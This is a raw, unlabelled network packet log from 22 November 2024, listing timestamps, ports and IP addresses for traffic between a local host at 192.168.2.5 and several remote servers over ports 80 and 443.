Nov 22, 2024 23:06:35.845628023 CET	443	49843	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:35.845714092 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.845726013 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:35.998194933 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998281002 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998301983 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998320103 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998325109 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:35.998347998 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998362064 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:35.998362064 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:35.998368979 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998404980 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998409986 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:35.998435020 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:35.998457909 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.042736053 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.101155043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.101219893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.101274967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.101344109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.101574898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.101617098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.101684093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.101720095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.102374077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.102416039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.102493048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.102530956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.103185892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.103231907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.103367090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.103413105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.103984118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.104027033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.104118109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.104280949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.104799032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.104851007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.104896069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.104995012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.105598927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.105643988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.105736017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.105788946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.106424093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.106466055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.106492996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.106547117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.107206106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.107289076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.107331038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.107372046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.108022928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.108123064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.108127117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.108160973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.108836889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.108905077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.108997107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.109051943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.109679937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.109725952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.109802961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.109846115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.110505104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.110560894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.110640049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.110687017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.111258984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.111371994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.111383915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.111426115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.185175896 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.185204029 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.185240984 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.185251951 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.185271978 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.185273886 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.185302973 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.185312986 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.185327053 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.185354948 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.225131035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.225219011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.225227118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.225475073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.225496054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.225528955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.225672960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.225739956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.225835085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.225884914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.226469994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.226516008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.226593018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.226643085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.227283001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.227354050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.227494955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.228092909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.228148937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.228226900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.228282928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.228903055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.228996038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.229012012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.229057074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.229765892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.229815006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.229892015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.229962111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.230530024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.230590105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.230647087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.230729103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.231344938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.231436014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.231463909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.231482983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.232129097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.232186079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.232263088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.232306957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.232919931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.233026981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.233047009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.233095884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.233741999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.233813047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.233882904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.233936071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.234556913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.234611988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.234677076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.234733105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.235374928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.235471964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.235539913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.236159086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.236207008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.236332893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.236385107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.236969948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.237062931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.237090111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.237138987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.237626076 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.237673044 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.237692118 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.237704992 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.237723112 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.237747908 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.237792015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.237932920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.238092899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.238603115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.238684893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.238686085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.238774061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.239404917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.239454985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.239518881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.239624023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.240195990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.240242004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.240339041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.240396976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.241019011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.241070032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.241127014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.241230965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.241827011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.241878986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.241925001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.242003918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.242624044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.242672920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.242793083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.242856026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.243416071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.243463039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.243556976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.243617058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.244236946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.244292021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.244343996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.245143890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.245178938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.245210886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.245229006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.245857000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.245908022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.245969057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.246009111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.246654034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.246706963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.287204027 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.287267923 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.287311077 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.287332058 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.287386894 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.287389994 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:36.287445068 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:36.349641085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.349709988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.349718094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.349761963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.349942923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.350033045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.350112915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.350222111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.350796938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.350845098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.350939989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.351028919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.351674080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.351725101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.351769924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.351866007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.352417946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.352466106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.352540016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.352588892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.353193998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.353238106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.353302956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.353390932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.354032040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.354091883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.354104042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.354151011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.354826927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.354862928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.354881048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.354934931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.355644941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.355694056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.355777025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.355825901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.356537104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.356561899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.356633902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.357235909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.357265949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.357312918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.358027935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.358082056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.358082056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.358144999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.358843088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.358894110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.358933926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.358971119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.359654903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.359700918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.359747887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.359785080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.360460043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.360507011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.360586882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.360696077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.361263037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.361309052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.361407042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.361445904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.362063885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.362107038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.362185955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.362230062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.362886906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.363003016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.363054991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.363523960 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.363576889 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.363590002 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.363605976 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.363636017 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.363646030 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.363724947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.363764048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.363775015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.363828897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.364495039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.364558935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.364593983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.364633083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.365282059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.365325928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.365339041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.365397930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.366115093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.366158962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.366202116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.366893053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.366940975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.367017031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.367057085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.367726088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.367774963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.367821932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.367856026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.368521929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.368571997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.368612051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.368645906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.369329929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.369342089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.369378090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.369394064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.394779921 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.394864082 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.394884109 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.394927979 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.394947052 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.394998074 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.395028114 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.395057917 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.395057917 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.395091057 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.400980949 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.401030064 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.401067019 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.401081085 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.401103020 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.401118994 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.419850111 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.419868946 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.419939041 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.419964075 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:36.420037031 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:36.435828924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.435895920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.436000109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.436043978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.436278105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.436319113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.436371088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.437028885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.437083006 CET	49762	80	192.168.2.5	185.215.113.206
